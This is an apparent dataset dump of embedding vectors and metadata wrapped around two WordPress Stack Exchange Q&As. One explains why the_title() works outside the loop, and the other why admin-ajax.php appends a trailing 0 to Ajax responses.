-0.0135650634765625,
-0.015655517578125,
0.00865936279296875,
-0.03863525390625,
-0.01129150390625,
-0.046661376953125,
-0.04571533203125,
0.018524169921875,
-0.032867431640625,
0.0484619140625,
-0.040252685546875,
-0.02325439453125,
0.033355712890625,
0.025238037109375,
-0.0035610198974609375,
0.0699462890625,
0.00797271728515625,
0.01293182373046875,
-0.017730712890625,
-0.002521514892578125,
-0.002834320068359375,
0.04034423828125,
-0.025909423828125,
-0.0020275115966796875,
0.006084442138671875,
0.0540771484375,
-0.0261383056640625,
0.0640869140625,
0.00222015380859375,
0.1009521484375,
0.01073455810546875,
0.040679931640625,
-0.0239105224609375,
0.08843994140625,
-0.00927734375,
0.04681396484375,
-0.046356201171875,
0.007610321044921875,
-0.0253448486328125,
-0.0203857421875,
0.0202484130859375,
-0.033294677734375,
0.005588531494140625,
-0.022430419921875,
0.0272216796875,
-0.0117950439453125,
-0.040252685546875,
0.033935546875
] |
05e25e48d428c4288991badf9f2d7df84ae176cf
|
Wordpress Stackexchange
Q: the_title(); works in a page template, outside the loop. Why? Trying to wrap my head around the loop concept...
Given a template page (page-work.php) with just this code:
<?php the_title(); ?>
WP correctly shows the title of that page. As I understand it, this is outside any loop and shouldn't work (Codex says to use get_the_title in those cases).
So the question is, why does it work?
Funnily enough, this won't output the title + content, just the title:
<?php the_title(); the_content(); ?>
Thanks!
A: The global $post object exists already for singular views before wp_head is called. It is just not filled with all data.
The the_title() calls get_the_title() which in turn calls get_post(). And that calls $GLOBALS['post'] if no post ID has been passed.
See also Generating the ogp tags in theme for a use case.
|
Q: the_title(); works in a page template, outside the loop. Why? Trying to wrap my head around the loop concept...
Given a template page (page-work.php) with just this code:
<?php the_title(); ?>
WP correctly shows the title of that page. As I understand it, this is outside any loop and shouldn't work (Codex says to use get_the_title in those cases).
So the question is, why does it work?
Funnily enough, this won't output the title + content, just the title:
<?php the_title(); the_content(); ?>
Thanks!
A: The global $post object exists already for singular views before wp_head is called. It is just not filled with all data.
The the_title() calls get_the_title() which in turn calls get_post(). And that calls $GLOBALS['post'] if no post ID has been passed.
See also Generating the ogp tags in theme for a use case.
|
wordpress
|
{
"language": "en",
"length": 139,
"provenance": "stackexchange_00019.jsonl.gz:437838",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/116614"
}
|
[
-0.0083160400390625,
-0.0181732177734375,
0.0100555419921875,
0.01410675048828125,
-0.0364990234375,
-0.02130126953125,
0.021392822265625,
-0.032318115234375,
0.0372314453125,
0.034698486328125,
-0.0521240234375,
-0.01445770263671875,
-0.034393310546875,
-0.006378173828125,
-0.03515625,
-0.05230712890625,
0.053955078125,
-0.051025390625,
0.03778076171875,
0.0125274658203125,
-0.00609588623046875,
0.043304443359375,
0.05560302734375,
0.006465911865234375,
0.0111236572265625,
-0.06646728515625,
0.05279541015625,
-0.006793975830078125,
0.004383087158203125,
-0.028717041015625,
0.01126861572265625,
0.0249481201171875,
0.022186279296875,
0.0030803680419921875,
-0.0229644775390625,
-0.01134490966796875,
0.016387939453125,
-0.022308349609375,
0.0014667510986328125,
0.0090789794921875,
0.0081024169921875,
0.009185791015625,
0.04327392578125,
0.0100860595703125,
-0.0121917724609375,
-0.024627685546875,
0.037506103515625,
-0.01611328125,
-0.01092529296875,
0.01092529296875,
0.017486572265625,
-0.024505615234375,
0.0186004638671875,
0.01216888427734375,
0.006305694580078125,
0.013458251953125,
-0.0250244140625,
-0.02001953125,
0.04693603515625,
-0.0261688232421875,
-0.031005859375,
-0.053741455078125,
0.0338134765625,
-0.0273590087890625,
0.008392333984375,
0.03173828125,
0.036285400390625,
-0.0057373046875,
-0.0150909423828125,
-0.00507354736328125,
0.00732421875,
-0.03265380859375,
-0.003574371337890625,
-0.035247802734375,
-0.01265716552734375,
-0.018707275390625,
-0.0145111083984375,
-0.0567626953125,
0.01335906982421875,
-0.005889892578125,
-0.0216827392578125,
-0.0247344970703125,
-0.0291900634765625,
0.0297393798828125,
0.0032672882080078125,
0.06756591796875,
-0.0198974609375,
-0.0198974609375,
-0.01403045654296875,
-0.051422119140625,
-0.02374267578125,
0.0345458984375,
-0.01479339599609375,
-0.044769287109375,
-0.04541015625,
-0.0305938720703125,
0.01264190673828125,
0.0689697265625,
-0.0275726318359375,
0.0267486572265625,
-0.0248870849609375,
-0.01171112060546875,
0.015869140625,
-0.050018310546875,
-0.003635406494140625,
-0.005641937255859375,
-0.019744873046875,
-0.01195526123046875,
0.0377197265625,
0.0494384765625,
-0.01849365234375,
-0.0006346702575683594,
-0.00785064697265625,
-0.002666473388671875,
-0.01904296875,
-0.00830078125,
-0.06988525390625,
0.0276336669921875,
0.01151275634765625,
0.0345458984375,
0.00418853759765625,
0.00949859619140625,
0.0024738311767578125,
0.0086669921875,
0.00307464599609375,
0.007610321044921875,
-0.01239776611328125,
-0.0239105224609375,
0.010223388671875,
0.0093994140625,
-0.005672454833984375,
-0.002567291259765625,
0.008697509765625,
0.0156707763671875,
-0.0137481689453125,
-0.0216064453125,
-0.050994873046875,
-0.021881103515625,
-0.01580810546875,
-0.0086212158203125,
-0.005298614501953125,
0.0007266998291015625,
0.037811279296875,
-0.005741119384765625,
-0.01025390625,
-0.00539398193359375,
0.0042724609375,
0.0338134765625,
-0.0029449462890625,
-0.037689208984375,
0.0340576171875,
-0.02032470703125,
-0.0243988037109375,
0.0188140869140625,
0.0645751953125,
-0.056915283203125,
0.01399993896484375,
-0.041259765625,
0.09075927734375,
-0.019744873046875,
0.0261383056640625,
0.004364013671875,
-0.002086639404296875,
-0.0200042724609375,
-0.050445556640625,
-0.00373077392578125,
-0.046539306640625,
-0.0142669677734375,
0.015533447265625,
-0.001140594482421875,
0.014190673828125,
0.01453399658203125,
0.0033969879150390625,
-0.00768280029296875,
-0.00936126708984375,
-0.009765625,
-0.021636962890625,
-0.0169219970703125,
0.0220794677734375,
0.0008363723754882812,
-0.034881591796875,
-0.034515380859375,
-0.004718780517578125,
-0.020111083984375,
-0.05377197265625,
-0.0187225341796875,
0.0202178955078125,
-0.0021991729736328125,
0.0235748291015625,
0.0138702392578125,
0.0677490234375,
0.031982421875,
-0.0513916015625,
0.050323486328125,
-0.010589599609375,
-0.00738525390625,
-0.013519287109375,
0.018524169921875,
-0.01154327392578125,
-0.04022216796875,
0.028350830078125,
-0.038543701171875,
0.04351806640625,
-0.00826263427734375,
-0.02142333984375,
-0.018829345703125,
-0.01511383056640625,
0.01507568359375,
0.00868988037109375,
0.0026073455810546875,
0.01387786865234375,
-0.0139617919921875,
-0.0149383544921875,
-0.033660888671875,
-0.064453125,
-0.0220184326171875,
-0.043670654296875,
-0.039947509765625,
0.0029296875,
-0.0063629150390625,
0.0183563232421875,
0.01031494140625,
-0.01505279541015625,
0.0019130706787109375,
0.0948486328125,
0.0037937164306640625,
-0.0186920166015625,
-0.0162353515625,
0.03472900390625,
0.0243377685546875,
-0.08526611328125,
0.0300750732421875,
-0.0126190185546875,
0.006961822509765625,
-0.055572509765625,
-0.0254058837890625,
-0.04638671875,
-0.0367431640625,
0.007381439208984375,
0.068603515625,
0.0274200439453125,
0.04150390625,
-0.0083770751953125,
0.0115509033203125,
0.039520263671875,
-0.034576416015625,
0.00850677490234375,
-0.01806640625,
0.020172119140625,
0.036956787109375,
0.04010009765625,
0.0069122314453125,
0.005374908447265625,
-0.081298828125,
0.0187835693359375,
0.032012939453125,
-0.0035552978515625,
0.00844573974609375,
-0.031951904296875,
0.0014600753784179688,
-0.0006361007690429688,
-0.01044464111328125,
0.006561279296875,
-0.0193328857421875,
0.0228729248046875,
0.01073455810546875,
0.02398681640625,
0.010711669921875,
-0.022705078125,
-0.0029296875,
0.0179901123046875,
0.0107879638671875,
-0.0033092498779296875,
0.0172119140625,
-0.00406646728515625,
0.0035610198974609375,
-0.0458984375,
0.0026531219482421875,
0.0104827880859375,
-0.01342010498046875,
-0.005558013916015625,
0.026702880859375,
-0.007396697998046875,
-0.0186309814453125,
-0.007259368896484375,
-0.038665771484375,
0.00772857666015625,
0.0343017578125,
0.0792236328125,
0.0205230712890625,
0.0100555419921875,
0.06134033203125,
-0.008819580078125,
0.09320068359375,
0.0018396377563476562,
-0.013519287109375,
0.01983642578125,
-0.007244110107421875,
0.02691650390625,
-0.03729248046875,
0.0294647216796875,
0.03973388671875,
-0.0296478271484375,
0.0142364501953125,
0.0216064453125,
-0.034576416015625,
0.0401611328125,
0.011444091796875,
0.0108795166015625,
0.0164642333984375,
-0.0740966796875,
-0.0014619827270507812,
0.0308380126953125,
0.111572265625,
-0.0184478759765625,
-0.060943603515625,
0.0081024169921875,
0.05816650390625,
-0.06805419921875,
-0.0670166015625,
0.0399169921875,
-0.04376220703125,
-0.0335693359375,
-0.0297698974609375,
-0.03082275390625,
0.01317596435546875,
-0.0149993896484375,
-0.0237274169921875,
0.00289154052734375,
-0.0294189453125,
-0.052886962890625,
-0.05023193359375,
-0.07513427734375,
-0.0277099609375,
-0.003597259521484375,
0.03070068359375,
0.0106658935546875,
0.01045989990234375,
0.012481689453125,
-0.0322265625,
0.0164031982421875,
0.047088623046875,
0.005413055419921875,
0.00588226318359375,
0.012603759765625,
-0.02081298828125,
-0.0177764892578125,
0.01323699951171875,
-0.06842041015625,
-0.011749267578125,
0.023773193359375,
-0.034576416015625,
-0.0005483627319335938,
0.02587890625,
0.029876708984375,
0.01366424560546875,
0.00691986083984375,
0.03460693359375,
0.017913818359375,
-0.0287628173828125,
-0.03948974609375,
-0.010955810546875,
-0.06573486328125,
0.0168914794921875,
0.052001953125,
0.0010356903076171875,
-0.0225372314453125,
0.0154571533203125,
-0.0015554428100585938,
0.0245361328125,
-0.039642333984375,
0.00420379638671875,
0.049285888671875,
-0.0023441314697265625,
-0.00791168212890625,
0.0225372314453125,
0.0372314453125,
0.006923675537109375,
-0.0247955322265625,
-0.004894256591796875,
0.0221405029296875,
-0.00341033935546875,
0.00261688232421875,
-0.04547119140625,
-0.0152740478515625,
0.0347900390625,
0.005176544189453125,
0.0226593017578125,
-0.00616455078125,
-0.032623291015625,
0.01456451416015625,
0.06707763671875,
-0.053985595703125,
-0.0146026611328125,
-0.0019102096557617188,
0.0311126708984375,
-0.0286712646484375,
-0.041900634765625,
-0.01071929931640625,
-0.0132598876953125,
-0.07391357421875,
0.01300048828125,
-0.02703857421875,
0.0103607177734375,
-0.0183563232421875,
0.10986328125,
-0.01174163818359375,
-0.0279998779296875,
0.0147857666015625,
0.00182342529296875,
0.002166748046875,
0.0109405517578125,
-0.0268096923828125,
0.004337310791015625,
0.0026416778564453125,
-0.032440185546875,
-0.043609619140625,
-0.0137939453125,
0.04571533203125,
0.03228759765625,
-0.037445068359375,
0.01174163818359375,
-0.01374053955078125,
0.03631591796875,
0.0095672607421875,
0.059722900390625,
-0.0102996826171875,
-0.029296875,
0.04754638671875,
0.0252685546875,
0.004161834716796875,
0.00536346435546875,
0.002193450927734375,
0.0182647705078125,
-0.04229736328125,
0.049896240234375,
-0.0251312255859375,
0.0001245737075805664,
0.004241943359375,
-0.035400390625,
-0.032745361328125,
-0.0022945404052734375,
0.027374267578125,
-0.00835418701171875,
0.00171661376953125,
0.023529052734375,
0.007572174072265625,
-0.0076446533203125,
0.06512451171875,
0.0294342041015625,
-0.01312255859375,
-0.00540924072265625,
0.06097412109375,
0.0159149169921875,
-0.0472412109375,
-0.018707275390625,
-0.0099334716796875,
0.0312042236328125,
-0.034393310546875,
0.04736328125,
0.01158905029296875,
-0.034515380859375,
0.07275390625,
-0.0118408203125,
0.01611328125,
-0.006824493408203125,
0.049224853515625,
-0.01377105712890625,
-0.02886962890625,
0.0280303955078125,
-0.0262298583984375,
-0.0107421875,
0.0201873779296875,
-0.011932373046875,
-0.01474761962890625,
-0.007541656494140625,
0.0210723876953125,
-0.00901031494140625,
0.040802001953125,
-0.01412200927734375,
-0.0201263427734375,
0.0065155029296875,
0.00257110595703125,
0.0265350341796875,
0.01496124267578125,
0.022796630859375,
-0.0039520263671875,
-0.0116729736328125,
0.03369140625,
-0.0036792755126953125,
0.0113067626953125,
-0.0140533447265625,
0.04150390625,
0.004184722900390625,
0.01715087890625,
-0.001953125,
-0.019256591796875,
0.0684814453125,
0.01085662841796875,
-0.016357421875,
0.0137176513671875,
-0.0282745361328125,
0.02337646484375,
-0.00044417381286621094,
0.02117919921875,
0.01708984375,
0.010894775390625,
0.034423828125,
0.01763916015625,
0.036956787109375,
0.007381439208984375,
-0.0006237030029296875,
0.0183563232421875,
0.032012939453125,
-0.0159759521484375,
-0.0112457275390625,
0.07147216796875,
-0.01229095458984375,
0.0275726318359375,
-0.0256500244140625,
0.0587158203125,
0.057952880859375,
0.03411865234375,
0.01275634765625,
-0.0287933349609375,
0.015533447265625,
0.007781982421875,
0.0004925727844238281,
-0.042510986328125,
-0.0167694091796875,
0.0423583984375,
0.059661865234375,
0.0118255615234375,
-0.011932373046875,
0.004962921142578125,
0.0007839202880859375,
0.00936126708984375,
0.04168701171875,
0.002124786376953125,
-0.0374755859375,
-0.0175628662109375,
0.037078857421875,
0.04583740234375,
-0.017059326171875,
-0.0031890869140625,
-0.00484466552734375,
-0.0198822021484375,
0.01352691650390625,
-0.0285797119140625,
-0.011138916015625,
-0.003875732421875,
-0.0091094970703125,
-0.03753662109375,
-0.0179443359375,
0.00762176513671875,
0.0183258056640625,
-0.021148681640625,
0.0019502639770507812,
-0.0160675048828125,
0.0138092041015625,
-0.0062103271484375,
0.05181884765625,
-0.04864501953125,
-0.019927978515625,
-0.01226043701171875,
-0.00435638427734375,
0.0748291015625,
0.051300048828125,
-0.04534912109375,
0.033721923828125,
-0.04620361328125,
0.00836944580078125,
-0.0261077880859375,
-0.08306884765625,
-0.0440673828125,
-0.05438232421875,
0.00927734375,
0.00923919677734375,
-0.0071868896484375,
-0.0026264190673828125,
-0.026824951171875,
0.032196044921875,
0.01064300537109375,
0.07110595703125,
-0.021148681640625,
0.09503173828125,
0.01062774658203125,
0.033660888671875,
0.0095672607421875,
0.02655029296875,
-0.039215087890625,
0.007007598876953125,
0.017364501953125,
-0.048858642578125,
-0.0167236328125,
-0.0218963623046875,
0.01265716552734375,
0.0174560546875,
0.0157012939453125,
-0.001399993896484375,
-0.0015583038330078125,
0.0016326904296875,
0.01165008544921875,
-0.004863739013671875,
-0.0018205642700195312,
0.00850677490234375,
-0.088623046875,
0.073974609375,
-0.03057861328125,
-0.00974273681640625,
0.00417327880859375,
-0.007030487060546875,
0.019439697265625,
-0.01103973388671875,
-0.01227569580078125,
0.04437255859375,
-0.0300445556640625,
0.0379638671875,
0.0926513671875,
0.007720947265625,
0.034881591796875,
0.00836181640625,
-0.0083465576171875,
0.0191192626953125,
0.01503753662109375,
0.00908660888671875,
-0.037628173828125,
0.032958984375,
-0.003627777099609375,
-0.004535675048828125,
0.0299835205078125,
-0.0259246826171875,
0.013763427734375,
0.042266845703125,
0.0404052734375,
-0.062164306640625,
0.0019969940185546875,
0.0170745849609375,
0.0068359375,
0.00241851806640625,
-0.01097869873046875,
0.005290985107421875,
-0.01727294921875,
0.059814453125,
0.002841949462890625,
-0.0016622543334960938,
0.037628173828125,
-0.021484375,
0.004119873046875,
-0.0262603759765625,
0.07159423828125,
0.007785797119140625,
-0.09100341796875,
0.002696990966796875,
0.050140380859375,
-0.02294921875,
-0.047119140625,
-0.00637054443359375,
0.0013875961303710938,
-0.0217742919921875,
-0.028778076171875,
0.03875732421875,
0.0014781951904296875,
0.035675048828125,
0.00443267822265625,
0.03167724609375,
-0.015045166015625,
0.07568359375,
-0.0305023193359375,
0.053741455078125,
0.04583740234375,
-0.0338134765625,
-0.0301513671875,
-0.0029850006103515625,
-0.0092620849609375,
0.017242431640625,
0.005680084228515625,
0.0107574462890625,
-0.024658203125,
-0.01271820068359375,
-0.0087890625,
-0.01071929931640625,
0.053619384765625,
0.010284423828125,
-0.052276611328125,
0.006290435791015625,
-0.001041412353515625,
0.003200531005859375,
0.00782012939453125,
0.031707763671875,
-0.0340576171875,
0.013763427734375,
0.017669677734375,
0.0091094970703125,
-0.01500701904296875,
0.019287109375,
-0.07672119140625,
0.09539794921875,
0.007266998291015625,
0.0280303955078125,
0.00592803955078125,
0.02203369140625,
-0.0303497314453125,
-0.01514434814453125,
-0.0438232421875,
0.06341552734375,
-0.01216888427734375,
0.0601806640625,
-0.06817626953125,
-0.0242919921875,
0.0210418701171875,
0.051605224609375,
0.00725555419921875,
-0.00615692138671875,
-0.034912109375,
-0.03314208984375,
0.02984619140625,
0.06744384765625,
0.030181884765625,
0.0055694580078125,
0.037017822265625,
0.024810791015625,
0.00185394287109375,
-0.0234832763671875,
0.0057220458984375,
-0.031585693359375,
0.0013246536254882812,
0.0701904296875,
0.0171051025390625,
-0.005901336669921875,
0.0269317626953125,
-0.0274658203125,
-0.08538818359375,
0.0208892822265625,
0.04248046875,
0.0272064208984375,
-0.0206146240234375,
0.045867919921875,
-0.0031223297119140625,
-0.04833984375,
-0.0283355712890625,
-0.042236328125,
0.041229248046875,
-0.0012025833129882812,
0.00311279296875,
0.007568359375,
0.01239776611328125,
0.0304412841796875,
-0.02239990234375,
-0.017425537109375,
-0.0021190643310546875,
0.001285552978515625,
0.0156402587890625,
0.0274810791015625,
0.007080078125,
-0.060791015625,
-0.017913818359375,
0.047576904296875,
0.03875732421875,
-0.03448486328125,
0.005550384521484375,
0.01348876953125,
-0.003879547119140625,
-0.013946533203125,
-0.05926513671875,
-0.034423828125,
0.026824951171875,
0.035308837890625,
-0.014739990234375,
-0.011810302734375,
0.02532958984375,
0.00141143798828125,
0.00228118896484375,
0.0011987686157226562,
-0.00939178466796875,
0.0037097930908203125,
-0.0518798828125,
0.033935546875,
0.03643798828125,
0.08526611328125,
0.0056610107421875,
0.053741455078125,
-0.07415771484375,
-0.0384521484375,
0.003253936767578125,
0.0199432373046875,
-0.032623291015625,
0.01050567626953125,
-0.035888671875,
-0.037689208984375,
-0.01204681396484375,
0.021728515625,
0.0750732421875,
-0.0006666183471679688,
0.0523681640625,
0.00036215782165527344,
-0.033843994140625,
0.01495361328125,
-0.0135650634765625,
-0.01776123046875,
-0.0203704833984375,
0.0021152496337890625,
-0.029998779296875,
0.0062255859375,
-0.030975341796875,
0.006237030029296875,
0.0263214111328125,
-0.0080718994140625,
-0.0257568359375,
0.040008544921875,
-0.006229400634765625,
-0.047088623046875,
0.017242431640625,
0.0095367431640625,
0.1116943359375,
0.004138946533203125,
-0.05133056640625,
-0.00836181640625,
0.010772705078125,
-0.07781982421875,
0.0204620361328125,
0.04827880859375,
-0.03460693359375,
0.0176239013671875,
-0.00982666015625,
0.02685546875,
0.0171051025390625,
-0.0249176025390625,
-0.006145477294921875,
0.0134124755859375,
0.0302581787109375,
0.00811004638671875,
-0.0487060546875,
-0.0172882080078125,
-0.0283355712890625,
0.0308685302734375,
0.0229034423828125,
0.009307861328125,
0.01522064208984375,
0.054718017578125,
0.0019168853759765625,
0.036346435546875,
-0.02923583984375,
-0.0018835067749023438,
0.0281982421875,
0.0183563232421875,
0.0229034423828125,
-0.0238189697265625,
-0.0609130859375,
0.006465911865234375,
0.0457763671875,
-0.005558013916015625,
0.0284881591796875,
-0.01104736328125,
0.01129913330078125,
-0.041351318359375,
0.0148162841796875,
-0.00794219970703125,
0.039581298828125,
0.013580322265625,
-0.029296875,
0.06793212890625,
0.031646728515625,
-0.00009059906005859375,
-0.0007719993591308594,
-0.02386474609375,
-0.04241943359375,
0.032501220703125,
-0.032989501953125,
0.0181427001953125,
0.0269622802734375,
0.01090240478515625,
-0.0372314453125,
-0.01287841796875,
-0.01110076904296875,
0.0114593505859375,
0.02130126953125,
0.02618408203125,
0.0083465576171875,
0.007419586181640625,
-0.030120849609375,
-0.0447998046875,
0.02105712890625,
-0.0112762451171875,
0.005756378173828125,
-0.0249786376953125,
0.0074005126953125,
-0.038848876953125,
-0.01568603515625,
-0.021881103515625,
-0.038604736328125,
-0.0167388916015625,
0.0003845691680908203,
-0.032867431640625,
-0.0364990234375,
-0.048797607421875,
-0.0187225341796875,
0.0008840560913085938,
-0.02392578125,
0.0248260498046875,
-0.028045654296875,
-0.0255584716796875,
-0.015960693359375,
-0.0237274169921875,
0.033050537109375,
0.01213836669921875,
0.020294189453125,
-0.04559326171875,
0.0379638671875,
-0.0304107666015625,
-0.03216552734375,
0.014007568359375,
0.0249481201171875,
0.025238037109375,
-0.024505615234375,
-0.0282745361328125,
0.03424072265625,
0.00740814208984375,
0.0758056640625,
0.0213623046875,
-0.024871826171875,
0.00028228759765625,
0.013671875,
-0.0036144256591796875,
-0.0265655517578125,
0.0258331298828125,
-0.035888671875,
-0.027984619140625,
0.0127410888671875,
-0.0189971923828125,
-0.0174102783203125,
-0.036590576171875,
-0.0175323486328125,
-0.0049285888671875,
0.032440185546875,
-0.02301025390625,
-0.0277099609375,
0.00441741943359375,
0.00682830810546875,
0.0011320114135742188,
-0.0035877227783203125,
-0.0270538330078125,
-0.026824951171875,
0.0179595947265625,
0.01788330078125,
0.015380859375,
0.04913330078125,
0.012298583984375,
-0.028045654296875,
-0.01042938232421875,
-0.03350830078125,
-0.020050048828125,
0.002735137939453125,
-0.0279693603515625,
-0.006153106689453125,
-0.0215606689453125,
-0.05712890625,
-0.0174713134765625,
-0.0110015869140625,
0.04193115234375,
-0.01558685302734375,
0.006710052490234375,
-0.01531219482421875,
-0.0120391845703125,
0.02471923828125,
0.04888916015625,
0.00824737548828125,
-0.020660400390625,
0.0204925537109375,
0.00908660888671875,
-0.07415771484375,
0.00024056434631347656,
0.050384521484375,
-0.0819091796875,
-0.0250091552734375,
0.02056884765625,
-0.043670654296875,
-0.0372314453125,
-0.0281524658203125,
-0.0689697265625,
-0.01183319091796875,
-0.05267333984375,
0.00913238525390625,
0.03302001953125,
-0.08294677734375,
0.0565185546875,
-0.0416259765625,
-0.047576904296875,
0.0032711029052734375,
0.0595703125,
-0.0241546630859375,
-0.019012451171875,
0.0361328125,
0.02166748046875,
-0.03509521484375,
-0.0033416748046875,
0.017547607421875,
0.00396728515625,
-0.0279083251953125,
-0.0246734619140625,
-0.00615692138671875,
0.037322998046875,
0.000988006591796875,
0.03204345703125,
-0.010955810546875,
0.0716552734375,
-0.000186920166015625,
0.07012939453125,
0.00879669189453125,
0.04364013671875,
0.006771087646484375,
0.036376953125,
-0.006561279296875,
-0.02337646484375,
-0.0106201171875,
-0.00904083251953125,
-0.0016574859619140625,
0.00429534912109375,
0.0033359527587890625,
-0.00926971435546875,
-0.009368896484375,
-0.044158935546875,
-0.00626373291015625,
0.0027828216552734375
] |
545483aa1552c7250d48e5aa4d3f068a795a8dd6
|
Wordpress Stackexchange
Q: Why does WordPress add 0 (zero) to an Ajax response? Unless I end Ajax processing function by exit() or die(), the Ajax function receives desired and correct output but following by 0.
Any idea why is that happening?
Is that meant to be like that or it could be fixed?
add_action('wp_ajax_get_homepage', 'get_homepage');
add_action('wp_ajax_nopriv_get_homepage', 'get_homepage');
function get_homepage(){
echo "get_homepage ->";
exit();
}
I've read at AJAX in Plugins, but why is that necessary?
A: The default response from admin-ajax.php is,
die( '0' );
...by adding your own wp_die() or exit() or die() after returning your desired content prevents the default response from admin-ajax.php being returned as well.
It also generally means that your ajax call has succeeded.
Ultimately, to answer your question, it's meant to work this way. What you are doing by exiting after returning your content is the right thing to do.
|
Q: Why does WordPress add 0 (zero) to an Ajax response? Unless I end Ajax processing function by exit() or die(), the Ajax function receives desired and correct output but following by 0.
Any idea why is that happening?
Is that meant to be like that or it could be fixed?
add_action('wp_ajax_get_homepage', 'get_homepage');
add_action('wp_ajax_nopriv_get_homepage', 'get_homepage');
function get_homepage(){
echo "get_homepage ->";
exit();
}
I've read at AJAX in Plugins, but why is that necessary?
A: The default response from admin-ajax.php is,
die( '0' );
...by adding your own wp_die() or exit() or die() after returning your desired content prevents the default response from admin-ajax.php being returned as well.
It also generally means that your ajax call has succeeded.
Ultimately, to answer your question, it's meant to work this way. What you are doing by exiting after returning your content is the right thing to do.
|
wordpress
|
{
"language": "en",
"length": 144,
"provenance": "stackexchange_00019.jsonl.gz:437885",
"question_score": "20",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/116759"
}
|
[
0.06036376953125,
0.013946533203125,
-0.01087188720703125,
-0.061614990234375,
0.035614013671875,
-0.0285491943359375,
0.020965576171875,
-0.007747650146484375,
0.018951416015625,
0.03759765625,
-0.0416259765625,
0.003467559814453125,
-0.0286865234375,
-0.005611419677734375,
-0.03997802734375,
-0.040069580078125,
0.055572509765625,
-0.036376953125,
0.017242431640625,
0.00873565673828125,
-0.01319122314453125,
0.03790283203125,
0.031402587890625,
0.04736328125,
0.012847900390625,
-0.0171661376953125,
0.025146484375,
-0.0163421630859375,
-0.00390625,
-0.0200958251953125,
0.007171630859375,
0.0148773193359375,
0.04364013671875,
0.0098114013671875,
-0.0440673828125,
0.01113128662109375,
-0.0124664306640625,
0.005992889404296875,
-0.02740478515625,
0.03802490234375,
0.02685546875,
0.00415802001953125,
0.04248046875,
0.018707275390625,
-0.00418853759765625,
-0.01322174072265625,
0.03704833984375,
-0.0141143798828125,
0.00719451904296875,
0.00927734375,
0.0149383544921875,
-0.050506591796875,
0.0202178955078125,
-0.01413726806640625,
-0.019866943359375,
-0.01447296142578125,
-0.00351715087890625,
0.00916290283203125,
0.046051025390625,
0.0176849365234375,
-0.036895751953125,
-0.0160980224609375,
0.0084228515625,
-0.05804443359375,
-0.020416259765625,
-0.0226898193359375,
-0.00261688232421875,
0.0016660690307617188,
-0.03924560546875,
0.0010633468627929688,
0.052947998046875,
-0.00994873046875,
-0.00019371509552001953,
0.003787994384765625,
-0.0102386474609375,
-0.0309906005859375,
0.003997802734375,
-0.0257110595703125,
0.00916290283203125,
0.025360107421875,
0.0110626220703125,
-0.01198577880859375,
0.0005140304565429688,
0.01497650146484375,
0.00733184814453125,
0.047119140625,
-0.01715087890625,
-0.039337158203125,
-0.04351806640625,
-0.04888916015625,
-0.031036376953125,
-0.061614990234375,
-0.0229949951171875,
-0.050262451171875,
-0.02569580078125,
-0.033416748046875,
-0.0364990234375,
-0.040313720703125,
-0.0102081298828125,
0.0017709732055664062,
-0.0145111083984375,
-0.00240325927734375,
0.0018987655639648438,
-0.005916595458984375,
0.03375244140625,
0.002399444580078125,
0.00858306884765625,
0.0009098052978515625,
0.049407958984375,
0.0107879638671875,
-0.039337158203125,
0.0809326171875,
-0.021942138671875,
-0.0234832763671875,
-0.01042938232421875,
-0.0225830078125,
-0.056243896484375,
0.01873779296875,
0.005519866943359375,
-0.005512237548828125,
-0.0294342041015625,
-0.006542205810546875,
0.01134490966796875,
-0.0201568603515625,
0.037628173828125,
0.0084991455078125,
-0.01983642578125,
-0.00250244140625,
0.024566650390625,
0.007663726806640625,
-0.0169525146484375,
0.0228118896484375,
0.03289794921875,
-0.0120391845703125,
-0.00795745849609375,
0.0016069412231445312,
0.0230712890625,
-0.0225982666015625,
-0.022430419921875,
0.0298309326171875,
0.0194549560546875,
-0.05242919921875,
-0.0399169921875,
0.010986328125,
0.0307159423828125,
-0.016204833984375,
0.0201263427734375,
0.0321044921875,
-0.0014753341674804688,
0.008697509765625,
0.0257110595703125,
0.00855255126953125,
0.015167236328125,
0.0176544189453125,
0.0063018798828125,
0.0180206298828125,
0.017181396484375,
-0.0164947509765625,
0.007472991943359375,
0.0022449493408203125,
0.00934600830078125,
-0.00640869140625,
-0.0182342529296875,
-0.01605224609375,
-0.0225830078125,
-0.00992584228515625,
0.0025959014892578125,
-0.0017919540405273438,
0.0252227783203125,
0.041351318359375,
0.026214599609375,
-0.0149078369140625,
-0.0186614990234375,
0.0034332275390625,
-0.0020771026611328125,
-0.0016880035400390625,
-0.00803375244140625,
0.04913330078125,
0.0306396484375,
-0.01528167724609375,
-0.01322174072265625,
-0.027374267578125,
0.09332275390625,
-0.0131072998046875,
-0.051422119140625,
0.05181884765625,
-0.0028285980224609375,
0.0330810546875,
-0.006015777587890625,
0.00522613525390625,
0.006488800048828125,
0.064697265625,
-0.045745849609375,
0.0146484375,
0.001689910888671875,
-0.0261688232421875,
-0.036529541015625,
-0.0211029052734375,
-0.0229339599609375,
0.02825927734375,
0.02972412109375,
0.016754150390625,
-0.0004096031188964844,
-0.0102386474609375,
-0.079345703125,
0.0246124267578125,
-0.03375244140625,
0.042572021484375,
0.0290069580078125,
0.0513916015625,
-0.0023555755615234375,
0.050262451171875,
-0.04608154296875,
0.0007619857788085938,
-0.02978515625,
-0.00006270408630371094,
-0.06439208984375,
0.041290283203125,
-0.036834716796875,
0.041107177734375,
-0.036773681640625,
-0.07733154296875,
-0.027587890625,
0.01474761962890625,
0.0582275390625,
-0.0204315185546875,
-0.01010894775390625,
-0.03619384765625,
0.06732177734375,
-0.03271484375,
0.0214385986328125,
0.0675048828125,
0.03594970703125,
0.0380859375,
-0.0428466796875,
-0.0273895263671875,
-0.055267333984375,
-0.0771484375,
0.00931549072265625,
0.0675048828125,
0.0021533966064453125,
0.02825927734375,
-0.041595458984375,
-0.012786865234375,
-0.01082611083984375,
-0.068603515625,
-0.00856781005859375,
0.01068878173828125,
0.01336669921875,
0.027252197265625,
-0.03179931640625,
-0.04046630859375,
0.018218994140625,
-0.09765625,
-0.03814697265625,
0.046966552734375,
-0.036285400390625,
0.0020389556884765625,
-0.046417236328125,
-0.013580322265625,
0.01434326171875,
-0.018280029296875,
-0.00959014892578125,
-0.0093536376953125,
-0.01483154296875,
-0.0007495880126953125,
0.0098419189453125,
0.0184173583984375,
0.0048828125,
-0.012054443359375,
0.0192108154296875,
0.0033550262451171875,
-0.01428985595703125,
0.03704833984375,
0.038726806640625,
-0.039031982421875,
-0.03271484375,
